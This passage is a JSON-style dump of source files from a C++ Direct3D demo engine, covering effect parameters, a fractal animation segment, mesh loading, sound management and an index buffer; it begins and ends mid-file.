value)\r\n{\r\n\tParam<DWordValue> param = constructParam<DWordValue>(name);\r\n\tparam.value.bool_val = value;\r\n\tdword_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::add(const std::string& name, const Vector2& value)\r\n{\r\n\tParam<Vector2> param = constructParam<Vector2>(name);\r\n\tparam.value = value;\r\n\tvector2_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::add(const std::string& name, const Vector3& value)\r\n{\r\n\tParam<Vector3> param = constructParam<Vector3>(name);\r\n\tparam.value = value;\r\n\tvector3_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::add(const std::string& name, const Vector4& value)\r\n{\r\n\tParam<Vector4> param = constructParam<Vector4>(name);\r\n\tparam.value = value;\r\n\tvector4_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::add(const std::string& name, const Matrix& value)\r\n{\r\n\tParam<Matrix> param = constructParam<Matrix>(name);\r\n\tparam.value = value;\r\n\tmatrix_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::add(const std::string& name, TexturePtr value)\r\n{\r\n\tParam<TexturePtr> param = constructParam<TexturePtr>(name);\r\n\tparam.value = value;\r\n\ttexture_params.push_back(param);\r\n}\r\n\r\n// Static, handle indexing:\r\n\r\nvoid EffectParams::add(ParamHandle handle, float value)\r\n{\r\n\tParam<DWordValue> param = constructParam<DWordValue>(handle);\r\n\tparam.value.float_val = value;\r\n\tdword_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::add(ParamHandle handle, int value)\r\n{\r\n\tParam<DWordValue> param = constructParam<DWordValue>(handle);\r\n\tparam.value.int_val = value;\r\n\tdword_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::add(ParamHandle handle, bool value)\r\n{\r\n\tParam<DWordValue> param = constructParam<DWordValue>(handle);\r\n\tparam.value.bool_val = value;\r\n\tdword_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::add(ParamHandle handle, const Vector2& value)\r\n{\r\n\tParam<Vector2> param = constructParam<Vector2>(handle);\r\n\tparam.value = value;\r\n\tvector2_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::add(ParamHandle handle, const Vector3& value)\r\n{\r\n\tParam<Vector3> param = constructParam<Vector3>(handle);\r\n\tparam.value = value;\r\n\tvector3_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::add(ParamHandle handle, const Vector4& value)\r\n{\r\n\tParam<Vector4> param = constructParam<Vector4>(handle);\r\n\tparam.value = value;\r\n\tvector4_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::add(ParamHandle handle, const Matrix& value)\r\n{\r\n\tParam<Matrix> param = constructParam<Matrix>(handle);\r\n\tparam.value = value;\r\n\tmatrix_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::add(ParamHandle handle, TexturePtr value)\r\n{\r\n\tParam<TexturePtr> param = constructParam<TexturePtr>(handle);\r\n\tparam.value = value;\r\n\ttexture_params.push_back(param);\r\n}\r\n\r\n// Dynamic, name indexing:\r\n\r\nvoid EffectParams::addDynamic(const std::string& name, const float* value)\r\n{\r\n\tParam<PtrValue> param = constructParam<PtrValue>(name);\r\n\tparam.value.size = 4;\r\n\tparam.value.ptr = value;\r\n\tptr_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::addDynamic(const std::string& name, const int* value)\r\n{\r\n\tParam<PtrValue> param = constructParam<PtrValue>(name);\r\n\tparam.value.size = 4;\r\n\tparam.value.ptr = value;\r\n\tptr_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::addDynamic(const std::string& name, const bool* value)\r\n{\r\n\tParam<PtrValue> param = constructParam<PtrValue>(name);\r\n\tparam.value.size = 4;\r\n\tparam.value.ptr = value;\r\n\tptr_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::addDynamic(const std::string& name, const Vector2* value)\r\n{\r\n\tParam<PtrValue> param = constructParam<PtrValue>(name);\r\n\tparam.value.size = 8;\r\n\tparam.value.ptr = value;\r\n\tptr_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::addDynamic(const std::string& name, const Vector3* value)\r\n{\r\n\tParam<PtrValue> param = constructParam<PtrValue>(name);\r\n\tparam.value.size = 12;\r\n\tparam.value.ptr = value;\r\n\tptr_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::addDynamic(const std::string& name, const Vector4* value)\r\n{\r\n\tParam<PtrValue> param = constructParam<PtrValue>(name);\r\n\tparam.value.size = 16;\r\n\tparam.value.ptr = value;\r\n\tptr_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::addDynamic(const std::string& name, const Matrix* value)\r\n{\r\n\tParam<PtrValue> param = constructParam<PtrValue>(name);\r\n\tparam.value.size = 64;\r\n\tparam.value.ptr = value;\r\n\tptr_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::addDynamic(const std::string& name, const TexturePtr* value)\r\n{\r\n\tParam<const TexturePtr*> param = constructParam<const TexturePtr*>(name);\r\n\tparam.value = value;\r\n\ttexture_ptr_params.push_back(param);\r\n}\r\n\r\n// Dynamic, handle indexing:\r\n\r\nvoid EffectParams::addDynamic(ParamHandle handle, const float* value)\r\n{\r\n\tParam<PtrValue> param = constructParam<PtrValue>(handle);\r\n\tparam.value.size = 4;\r\n\tparam.value.ptr = value;\r\n\tptr_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::addDynamic(ParamHandle handle, const int* value)\r\n{\r\n\tParam<PtrValue> param = constructParam<PtrValue>(handle);\r\n\tparam.value.size = 4;\r\n\tparam.value.ptr = value;\r\n\tptr_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::addDynamic(ParamHandle handle, const bool* value)\r\n{\r\n\tParam<PtrValue> param = constructParam<PtrValue>(handle);\r\n\tparam.value.size = 4;\r\n\tparam.value.ptr = value;\r\n\tptr_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::addDynamic(ParamHandle handle, const Vector2* value)\r\n{\r\n\tParam<PtrValue> param = constructParam<PtrValue>(handle);\r\n\tparam.value.size = 8;\r\n\tparam.value.ptr = value;\r\n\tptr_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::addDynamic(ParamHandle handle, const Vector3* value)\r\n{\r\n\tParam<PtrValue> param = constructParam<PtrValue>(handle);\r\n\tparam.value.size = 12;\r\n\tparam.value.ptr = value;\r\n\tptr_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::addDynamic(ParamHandle handle, const Vector4* value)\r\n{\r\n\tParam<PtrValue> param = constructParam<PtrValue>(handle);\r\n\tparam.value.size = 16;\r\n\tparam.value.ptr = value;\r\n\tptr_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::addDynamic(ParamHandle handle, const Matrix* value)\r\n{\r\n\tParam<PtrValue> param = constructParam<PtrValue>(handle);\r\n\tparam.value.size = 64;\r\n\tparam.value.ptr = value;\r\n\tptr_params.push_back(param);\r\n}\r\n\r\nvoid EffectParams::addDynamic(ParamHandle handle, const TexturePtr* value)\r\n{\r\n\tParam<const TexturePtr*> param = constructParam<const TexturePtr*>(handle);\r\n\tparam.value = value;\r\n\ttexture_ptr_params.push_back(param);\r\n}\r\n\r\n\r\nvoid EffectParams::applyParams()\r\n{\r\n\tfor(uint i = 0; i < dword_params.size(); ++i)\r\n\t\towner->setParamValue(dword_params[i].handle, &dword_params[i].value.int_val, 4);\r\n\t\r\n\tfor(uint i = 0; i < vector2_params.size(); ++i)\r\n\t\towner->setParamValue(vector2_params[i].handle, &vector2_params[i].value, 8);\r\n\r\n\tfor(uint i = 0; i < vector3_params.size(); ++i)\r\n\t\towner->setParamValue(vector3_params[i].handle, &vector3_params[i].value, 12);\r\n\r\n\tfor(uint i = 0; i < vector4_params.size(); ++i)\r\n\t\towner->setParamValue(vector4_params[i].handle, &vector4_params[i].value, 16);\r\n\r\n\tfor(uint i = 0; i < matrix_params.size(); ++i)\r\n\t\towner->setParamValue(matrix_params[i].handle, &matrix_params[i].value, 64);\r\n\t\r\n\tfor(uint i = 0; i < texture_params.size(); ++i)\r\n\t\towner->setParamValue(texture_params[i].handle, texture_params[i].value);\r\n\r\n\tfor(uint i = 0; i < ptr_params.size(); ++i)\r\n\t\towner->setParamValue(ptr_params[i].handle, ptr_params[i].value.ptr, ptr_params[i].value.size);\r\n\r\n\tfor(uint i = 0; i < texture_ptr_params.size(); ++i)\r\n\t\towner->setParamValue(texture_ptr_params[i].handle, *texture_ptr_params[i].value);\r\n\r\n\t//owner->commitChanges();\r\n}\r\n\r\n// Checks if parameter is not already added\r\nvoid EffectParams::checkParam(ParamHandle handle)\r\n{\r\n#ifdef _DEBUG\r\n\tfor(uint i = 0; i < dword_params.size(); ++i)\r\n\t\tif(dword_params[i].handle == handle)\r\n\t\t\tthrow EXCEPTION(\"Parameter already added to this EffectParams instance\");\r\n\r\n\tfor(uint i = 0; i < vector2_params.size(); ++i)\r\n\t\tif(vector2_params[i].handle == handle)\r\n\t\t\tthrow EXCEPTION(\"Parameter already added to this EffectParams instance\");\r\n\r\n\tfor(uint i = 0; i < vector3_params.size(); ++i)\r\n\t\tif(vector3_params[i].handle == handle)\r\n\t\t\tthrow EXCEPTION(\"Parameter already added to this EffectParams instance\");\r\n\r\n\tfor(uint i = 0; i < vector4_params.size(); ++i)\r\n\t\tif(vector4_params[i].handle == handle)\r\n\t\t\tthrow EXCEPTION(\"Parameter already added to this EffectParams instance\");\r\n\r\n\tfor(uint i = 0; i < matrix_params.size(); ++i)\r\n\t\tif(matrix_params[i].handle == handle)\r\n\t\t\tthrow EXCEPTION(\"Parameter already added to this EffectParams instance\");\r\n\r\n\tfor(uint i = 0; i < texture_params.size(); ++i)\r\n\t\tif(texture_params[i].handle == handle)\r\n\t\t\tthrow EXCEPTION(\"Parameter already added to this EffectParams instance\");\r\n\r\n\tfor(uint i = 0; i < ptr_params.size(); ++i)\r\n\t\tif(ptr_params[i].handle == handle)\r\n\t\t\tthrow EXCEPTION(\"Parameter already added to this EffectParams instance\");\r\n\r\n\tfor(uint i = 0; i < texture_ptr_params.size(); ++i)\r\n\t\tif(texture_ptr_params[i].handle == handle)\r\n\t\t\tthrow EXCEPTION(\"Parameter already added to this EffectParams instance\");\r\n\r\n#endif\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.5790006518363953, "alphanum_fraction": 0.663234293460846, "avg_line_length": 32.25433349609375, "blob_id": "8136f4b77c92cd7f1038dcc60fa86da318f5de5c", "content_id": "515361b0dda4d87d3714ba8dc10837ddb02fb174", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5924, "license_type": "no_license", "max_line_length": 121, "num_lines": 173, "path": "/apps/Delirium/TriFractal.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"TriFractal.h\"\r\n\r\n#include \"Engine.h\"\r\n#include \"Filesystem.h\"\r\n\r\nconst uint fractal_layer = 2;\r\nconst Color background_color = Color(255, 255, 255);\r\nconst Color fractal_color = Color(0, 0, 0);\r\n\r\nconst Vector2 distance_slider(10.0f, 10.0f);\r\nconst Vector2 distance_ratio_slider(10.0f, 50.0f);\r\nconst Vector2 size_slider(10.0f, 90.0f);\r\nconst Vector2 size_ratio_slider(10.0f, 130.0f);\r\nconst Vector2 rotation_slider(10.0f, 170.0f);\r\nconst Vector2 rotation_delta_slider(10.0f, 210.0f);\r\nconst Vector2 depth_slider(10.0f, 250.0f);\r\n\r\nTriFractal::TriFractal(RendererPtr renderer, VectorBatchPtr vector_batch, SpriteBatchPtr sprite_batch)\r\n: renderer(renderer), vector_batch(vector_batch), sprite_batch(sprite_batch), TimelineSegment()\r\n{\r\n}\r\n\r\nTriFractal::~TriFractal()\r\n{\r\n}\r\n\r\nvoid TriFractal::init(boost::weak_ptr<Demo> owner)\r\n{\r\n\tthis->owner = owner;\r\n\r\n\toffscreen_target1 = video_device->getTextureManager()->createRenderTarget(\"rt0_1024x512\", 1024, 512, D3DFMT_A8R8G8B8);\r\n\toffscreen_target2 = video_device->getTextureManager()->createRenderTarget(\"rt1_1024x512\", 1024, 512, D3DFMT_A8R8G8B8);\r\n\t\r\n\tEffectPtr poisson_blur = video_device->getEffectManager()->load(\"PoissonBlur\", Filesystem::redirect(\"PoissonBlur.fx\"));\r\n\tpoisson_blur->getAutoParams()->add(poisson_blur->getParamBySemantic(\"TEXTURE_SIZE\"), Vector2(1024.0f, 512.0f));\r\n\tpoisson_blur->getAutoParams()->add(poisson_blur->getParamBySemantic(\"BLUR_RADIUS\"), 2.5f);\r\n\tpoisson_blur->applyAutoParams();\r\n\r\n\tsprite_batch->setEffect(poisson_blur);\r\n\r\n\tfractal_position = Vector2(400.0f, 200.0f);\r\n\tfractal_distance = 64.0f;\r\n\tfractal_distance_ratio = 0.5f;\r\n\tfractal_size = 34.0f;\r\n\tfractal_size_ratio = 0.7f;\r\n\tfractal_rotation = 0.2f;\r\n\tfractal_delta_rotation = 0.1f;\r\n\tfractal_depth = 6;\r\n}\r\n\r\nvoid TriFractal::close()\r\n{\r\n}\r\n\r\nvoid TriFractal::update(float t)\r\n{\r\n\tif(t <= 2.7f)\r\n\t{\r\n\t\tfractal_depth = 1;\r\n\t\tfractal_distance = 0.0f;\r\n\t\tfractal_position.x = smoothstep(-40.0f, 300.0f, transformT(0.05f, 2.6f, t));\r\n\t\tfractal_position.y = smoothstep(200.0f, 260.0f, transformT(0.2f, 2.7f, t));\r\n\t\tfractal_rotation = smoothstep(0.0f, 2.6f, transformT(0.70f, 2.6f, t));\r\n\t}\r\n\tif(t >= 2.6f)\r\n\t{\r\n\t\tfractal_depth = 7;\r\n\t\tfractal_distance = smoothstep(0.0f, 140.0f, transformT(2.6f, 3.2f, t));\r\n\t\tfractal_delta_rotation = smoothstep(0.1f, 1.4f, transformT(3.1f, 4.8f, t));\r\n\t\tfractal_size_ratio = smoothstep(0.7f, 0.76f, transformT(5.0f, 5.7f, t));\r\n\t\tfractal_distance_ratio = smoothstep(0.5f, 0.6f, transformT(5.0f, 5.7f, t));\r\n\t\tif(t >= 5.4f)\r\n\t\t{\t\t\r\n\t\t\tfractal_rotation = smoothstep(2.6f, 1.1f, transformT(5.7f, 7.1f, t));\r\n\t\t\tfractal_delta_rotation = smoothstep(1.4f, 1.2f, transformT(5.4f, 7.4f, t));\r\n\t\t\tfractal_size = smoothstep(34.0f, 10.0f, transformT(7.5f, 8.3f, t));\r\n\t\t\tfractal_size_ratio = smoothstep(0.76f, 0.9f, transformT(7.8f, 8.1f, t));\r\n\t\t}\r\n\t\tif(t >= 8.3f)\r\n\t\t{\r\n\t\t\tfractal_delta_rotation = 1.2f + sin((t - 8.3f) / 1.1f) * 0.6f - sin((t - 8.3f) / 1.7f) * 0.8f;\r\n\t\t\tfractal_size = smoothstep(10.0f, 32.0f, transformT(8.3f, 9.7f, t));\r\n\t\t\tfractal_size_ratio = smoothstep(0.9f, 0.7f, transformT(8.5f, 9.1f, t));\r\n\t\t}\r\n\t\tif(t >= 9.7f)\r\n\t\t{\r\n\t\t\tfractal_size = lerp(32.0f, 500.0f, transformT(9.7f, 10.1f, t));\r\n\t\t}\r\n\t\tif(t >= 9.92f)\r\n\t\t{\r\n\t\t\tfractal_depth = 6;\r\n\t\t}\r\n\t\tif(t >= 10.02f)\r\n\t\t{\r\n\t\t\tfractal_depth = 5;\r\n\t\t}\r\n\t\tif(t >= 10.05f)\r\n\t\t{\r\n\t\t\tfractal_depth = 4;\r\n\t\t}\r\n\t\tif(t >= 10.07f)\r\n\t\t{\r\n\t\t\tfractal_depth = 3;\r\n\t\t}\r\n\r\n\t\tfractal_position.x = 300.0f;\r\n\t\tfractal_position.y = 260.0f;\r\n\t\tfractal_position.x += sin((t - 2.6f)) * 20.0f;\r\n\t\tfractal_position.y += sin((t - 2.6f)/3.0f) * 16.0f;\r\n\t}\t\r\n}\r\n\r\nvoid TriFractal::render(float t)\r\n{\r\n\t// Ugly way to draw fullscreen rect\r\n\tVector2 p1(0.0f, 0.0f);\r\n\tVector2 p2(1024.0f, 0.0f);\r\n\tVector2 p3(1024.0f, 576.0f);\r\n\tVector2 p4(0.0f, 576.0f);\r\n\r\n\tvector_batch->drawTriangle(0, p1, p2, p3); \r\n\tvector_batch->drawTriangle(0, p3, p4, p1); \r\n\tdrawFractal(fractal_position, fractal_distance, fractal_distance_ratio, fractal_size, fractal_size_ratio,\r\n\t\tfractal_rotation, fractal_delta_rotation, fractal_depth);\r\n\tvector_batch->present();\r\n\r\n\tvideo_device->setClearColor(background_color);\r\n\r\n\tvideo_device->beginScene(true, false, false, offscreen_target1);\r\n\trenderer->render();\r\n\tvideo_device->endScene();\r\n\r\n\tvideo_device->beginScene(true, false, false, offscreen_target2);\r\n\tsprite_batch->draw(offscreen_target1, 3, RectF(), RectF(0.0f, 0.0f, 1024.0f, 576.0f), Color(255, 255, 255, 255));\r\n\tsprite_batch->present();\r\n\trenderer->render(1003, 1003);\r\n\tvideo_device->endScene();\r\n\r\n\tvideo_device->setClearColor(Color(0, 0, 0));\r\n\tvideo_device->beginScene(true, false);\r\n\tsprite_batch->draw(offscreen_target2, 1, RectF(), RectF(0.0f, 0.0f, 1024.0f, 576.0f), Color(255, 255, 255, 255));\r\n\tsprite_batch->present();\r\n\trenderer->render(1000, 1002);\r\n\tvideo_device->endScene();\r\n\r\n\trenderer->endFrame();\r\n}\r\n\r\nvoid TriFractal::drawFractal(const Vector2& pos, float distance, float distance_ratio, \r\n\tfloat size, float size_ratio, float rotation, float delta_rotation, int depth)\r\n{\r\n\tif(depth == 0)\r\n\t\treturn;\r\n\r\n\tVector2 vec1(0.0f, -1.0f);\r\n\tVector2 vec2 = vec1.getRotated(rotation + pi * 2.0f / 3.0f);\r\n\tVector2 vec3 = vec1.getRotated(rotation - pi * 2.0f / 3.0f);\r\n\tvec1.rotate(rotation);\r\n\r\n\tvector_batch->drawTriangle(fractal_layer, pos + (vec1 * size), pos + (vec2 * size), pos + (vec3 * size), fractal_color);\r\n\r\n\tvec1 = pos + (vec1 * distance);\r\n\tvec2 = pos + (vec2 * distance);\r\n\tvec3 = pos + (vec3 * distance);\r\n\r\n\tdrawFractal(vec1, distance * distance_ratio, distance_ratio, size * size_ratio, size_ratio, \r\n\t\trotation + delta_rotation, delta_rotation, depth - 1);\r\n\tdrawFractal(vec2, distance * distance_ratio, distance_ratio, size * size_ratio, size_ratio, \r\n\t\trotation + delta_rotation, delta_rotation, depth - 1);\r\n\tdrawFractal(vec3, distance * distance_ratio, distance_ratio, size * size_ratio, size_ratio, \r\n\t\trotation + delta_rotation, delta_rotation, depth - 1);\r\n}" }, { "alpha_fraction": 0.7154285907745361, "alphanum_fraction": 0.7257142663002014, "avg_line_length": 17.93181800842285, "blob_id": "1b302c3ae81c9a6e4b17f8cb5332bfcbc718e368", "content_id": "c324c41ea32d2fc170f491f35599bb465229fe48", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 875, "license_type": "no_license", "max_line_length": 59, "num_lines": 44, "path": "/apps/Delirium/Tunnel.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef TUNNEL_H\r\n#define TUNNEL_H\r\n\r\n#include \"Demo.h\"\r\n#include \"VectorBatch.h\"\r\n#include \"Mesh.h\"\r\n#include \"Camera.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass Tunnel : public TimelineSegment\r\n{\r\npublic:\r\n\tTunnel(RendererPtr renderer, VectorBatchPtr vector_batch);\r\n\tvirtual ~Tunnel();\r\n\r\n\tvirtual void init(boost::weak_ptr<Demo> owner);\r\n\tvirtual void close();\r\n\t\r\n\tvirtual void update(float t);\r\n\tvirtual void render(float t);\r\n\r\nprivate:\r\n\tstatic const uint trail_length = 38;\r\n\r\n\tRendererPtr renderer;\r\n\tRenderableMeshPtr tunnel;\r\n\tRenderableMeshPtr light1[trail_length];\r\n\tRenderableMeshPtr light2[trail_length];\r\n\tRenderableMeshPtr light3[trail_length];\r\n\r\n\tVector3 light_pos[3];\r\n\tVector3 light_attenuations;\r\n\r\n\tSimpleCamera camera;\r\n\r\n\tVectorBatchPtr vector_batch;\r\n\r\n\tstd::vector<Vector2> fullscreen_rect;\r\n};\r\n\r\ntypedef boost::shared_ptr<Tunnel> TunnelPtr;\r\n\r\n#endif" }, { "alpha_fraction": 0.6653589010238647, "alphanum_fraction": 0.6764366626739502, "avg_line_length": 25.96129035949707, "blob_id": "e26392647f1eb1b426b215d4fb99dad484f0f102", "content_id": "d73d2e65d8330cc5df450c63d043c047a0db24c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4333, "license_type": "no_license", "max_line_length": 121, "num_lines": 155, "path": "/source/Mesh.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Mesh.h\"\r\n#include \"Exception.h\"\r\n#include \"Log.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n#pragma pack(1)\r\nstruct CmfHeader\r\n{\r\n\tchar id[3];\r\n\tbyte version;\r\n\tuint vertex_offset;\r\n\tuint index_offset;\r\n};\r\n\r\nstruct Cmf1VertexDesc \r\n{\r\n\tbyte has_position;\r\n\tbyte has_color;\r\n\tbyte has_normal;\r\n\tbyte has_tangent;\r\n\tbyte num_uvs;\r\n\tbyte vertex_size;\r\n\tuint vertex_count;\r\n};\r\n\r\nstruct Cmf1IndexDesc\r\n{\r\n\tbyte is16bit;\r\n\tuint index_count;\r\n};\r\n#pragma pack()\r\n\r\nMesh::Mesh(const std::string& path)\r\n{\r\n\tLOG(FORMAT(\"Loading mesh from file %s\", % path));\r\n\r\n\tstd::ifstream input(path.c_str(), std::ios::binary);\r\n\tCmfHeader header;\r\n\tinput.read(reinterpret_cast<char*>(&header), sizeof(header));\r\n\r\n\tif(header.id[0] != 'C' || header.id[1] != 'M' || header.id[2] != 'F')\r\n\t\tthrow EXCEPTION(\"Trying to load an invalid cmf file\");\r\n\r\n\tswitch(header.version)\r\n\t{\r\n\tcase 1:\r\n\t\t{\r\n\t\tsize_t start = path.find_last_of('\\\\');\r\n\t\tsize_t end = path.find_last_of('.');\r\n\t\tif(start == std::string::npos)\r\n\t\t\tstart = -1;\r\n\t\tcmf1_load(input, path.substr(start+1, end-start-1), header.vertex_offset, header.index_offset);\r\n\t\tbreak;\r\n\t\t}\r\n\tdefault:\r\n\t\tthrow EXCEPTION(\"Unknown cmf file version\");\r\n\t}\r\n}\r\n\r\nMesh::Mesh(VertexBufferPtr vb, IndexBufferPtr ib)\r\n: vertex_buffer(vb), index_buffer(ib)\r\n{\r\n}\r\n\r\nvoid Mesh::cmf1_load(std::ifstream& input, const std::string& name, uint vertex_offset, uint index_offset)\r\n{\r\n\tEngine e;\r\n\tGpuBufferManagerPtr gpu_buffer_manager = e.getVideoDevice()->getGpuBufferManager();\r\n\r\n\tCmf1VertexDesc vertex_desc;\r\n\r\n\tinput.seekg(vertex_offset, std::ios_base::beg);\r\n\r\n\tinput.read(reinterpret_cast<char*>(&vertex_desc), sizeof(vertex_desc));\r\n\tVertexFormat format(true, vertex_desc.num_uvs, vertex_desc.has_normal != 0, false, vertex_desc.has_tangent != 0,\r\n\t\tvertex_desc.has_color != 0);\r\n\tassert(format.getSize() == vertex_desc.vertex_size);\r\n\r\n\tvertex_buffer = gpu_buffer_manager->createVertexBuffer(name + \"VB\", format, vertex_desc.vertex_count, false);\r\n\tLockedBuffer locked_vb = vertex_buffer->lock(false);\r\n\tinput.read(reinterpret_cast<char*>(locked_vb.data), locked_vb.size);\r\n\tvertex_buffer->unlock();\r\n\r\n\tif(index_offset != 0)\r\n\t{\r\n\t\tCmf1IndexDesc index_desc;\r\n\r\n\t\tinput.seekg(index_offset, std::ios_base::beg);\r\n\r\n\t\tinput.read(reinterpret_cast<char*>(&index_desc), sizeof(index_desc));\r\n\t\tindex_buffer = gpu_buffer_manager->createIndexBuffer(name + \"IB\", index_desc.is16bit != 0, \r\n\t\t\tindex_desc.index_count, false);\r\n\t\tLockedBuffer locked_ib = index_buffer->lock(false);\r\n\t\tinput.read(reinterpret_cast<char*>(locked_ib.data), locked_ib.size);\r\n\t\tindex_buffer->unlock();\r\n\t}\r\n}\r\n\r\nRenderableMesh::RenderableMesh(MeshPtr mesh, EffectPtr effect, EffectParamsPtr effect_params, uint priority, uint passes)\r\n: mesh(mesh), effect(effect), effect_params(effect_params), passes(passes), priority(priority), \r\n position(0.0f, 0.0f, 0.0f), rotation(0.0f, 0.0f, 0.0f), scale(1.0f, 1.0f, 1.0f)\r\n{\r\n\tif(!bool(mesh))\r\n\t\tthrow EXCEPTION(\"Invalid mesh provided to RenderableMesh constructor\");\r\n\tif(!bool(effect))\r\n\t\tthrow EXCEPTION(\"Invalid effect provided to RenderableMesh constructor\");\r\n\r\n\tVertexBufferPtr vertex_buffer = mesh->getVertexBuffer();\r\n\tIndexBufferPtr index_buffer = mesh->getIndexBuffer();\r\n\t\r\n\tbatches = new Batch[passes];\r\n\tfor(uint i = 0; i < passes; ++i)\r\n\t{\r\n\t\tbatches[i].priority = priority;\r\n\t\tbatches[i].batch_id = i;\r\n\t\tbatches[i].vb_id = vertex_buffer->getId();\r\n\t\tbatches[i].ib_id = bool(index_buffer) ? index_buffer->getId() : IndexBuffer::INVALID_ID;\r\n\t\tbatches[i].effect_id = effect->getId();\r\n\t\tbatches[i].pass = i;\r\n\t\tbatches[i].start_index = 0;\r\n\t\tif(bool(index_buffer))\r\n\t\t\tbatches[i].tri_count = index_buffer->getIndexCount() / 3;\r\n\t\telse\r\n\t\t\tbatches[i].tri_count = vertex_buffer->getVertexCount() / 3;\r\n\t\tbatches[i].owner = this;\r\n\t}\r\n}\r\n\r\nRenderableMesh::~RenderableMesh()\r\n{\r\n\tdelete[] batches;\r\n}\r\n\r\nvoid RenderableMesh::onPreRender(uint16 batch_id)\r\n{\r\n\tworld = Matrix::scale(scale) * Matrix::rotate(rotation) * Matrix::translate(position);\r\n\t\r\n\tEngine e;\r\n\te.getVideoDevice()->getRenderingParams().setPerBatch(world, batch_id);\r\n\teffect->applyAutoParams();\r\n\r\n\tif(bool(effect_params))\r\n\t\teffect_params->applyParams();\r\n\teffect->commitChanges();\r\n}\r\n\r\nuint RenderableMesh::getBatches(Batch** batches)\r\n{\r\n\t*batches = this->batches;\r\n\treturn passes;\r\n}\r\n\r\n} // namespace " }, { "alpha_fraction": 0.680137574672699, "alphanum_fraction": 0.6887360215187073, "avg_line_length": 21.775510787963867, "blob_id": "f9a5880c5618067c6abde14f1973c5413d1f312d", "content_id": "1ed2e4c8d3c0a4d9d11e0ba515cf2c2063b4ed16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1163, "license_type": "no_license", "max_line_length": 94, "num_lines": 49, "path": "/source/SoundManager.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"SoundManager.h\"\r\n\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n\r\n#include \"bass.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nSoundManager::SoundManager(HWND window_handle)\r\n{\r\n\tif(!BASS_Init(-1, 44100, 0, window_handle, NULL))\r\n\t\tthrow EXCEPTION(FORMAT(\"Unable to initialize BASS. Error code: %d\", % BASS_ErrorGetCode()));\r\n\r\n\tLOG(\"SoundManager created\");\r\n}\r\n\r\nSoundManager::~SoundManager()\r\n{\r\n\t// All sound resources must be freed before calling BASS_Free()\r\n\tresources.clear();\r\n\r\n\tif(!BASS_Free())\r\n\t\tthrow EXCEPTION(FORMAT(\"Unable to free BASS. Error code: %d\", % BASS_ErrorGetCode()));\r\n\r\n\tLOG(\"SoundManager destroyed\");\r\n}\r\n\r\nSoundPtr SoundManager::loadSample(const std::string& name, const std::string& filename)\r\n{\r\n\tResourceId id = getUniqueId(name);\r\n\tSoundPtr sound(new SoundSample(name, id, filename));\r\n\treturn insert(name, sound, id);\r\n}\r\n\r\nSoundPtr SoundManager::loadStream(const std::string& name, const std::string& filename)\r\n{\r\n\tResourceId id = getUniqueId(name);\r\n\tSoundPtr sound(new SoundStream(name, id, filename));\r\n\treturn insert(name, sound, id);\r\n}\r\n\r\nvoid SoundManager::update()\r\n{\r\n\tBASS_Update(100);\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.6561461687088013, "alphanum_fraction": 0.6656976938247681, "avg_line_length": 17.754098892211914, "blob_id": "30febccbc164f119f5257466b58a11bc33f6a3c4", "content_id": "0716b7ef552e3419fdc2495ac2c41af1d0b8715b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2408, "license_type": "no_license", "max_line_length": 89, "num_lines": 122, "path": "/source/IndexBuffer.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"IndexBuffer.h\"\r\n\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n#include \"MemUtils.h\"\r\n#include \"ErrorHandlers.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nIndexBuffer::IndexBuffer(ResourceId id, D3DDevicePtr device, const std::string& name, \r\n\tbool sixteen_bits, uint indice_count, bool is_dynamic)\r\n\t: \r\nGpuBuffer(id, device, name, is_dynamic), \r\nsixteen_bits(sixteen_bits), \r\nindice_count(indice_count)\r\n{\r\n\tusage = is_dynamic ? D3DUSAGE_DYNAMIC : 0;\r\n\tsize_in_bytes = sixteen_bits ? indice_count * 2 : indice_count * 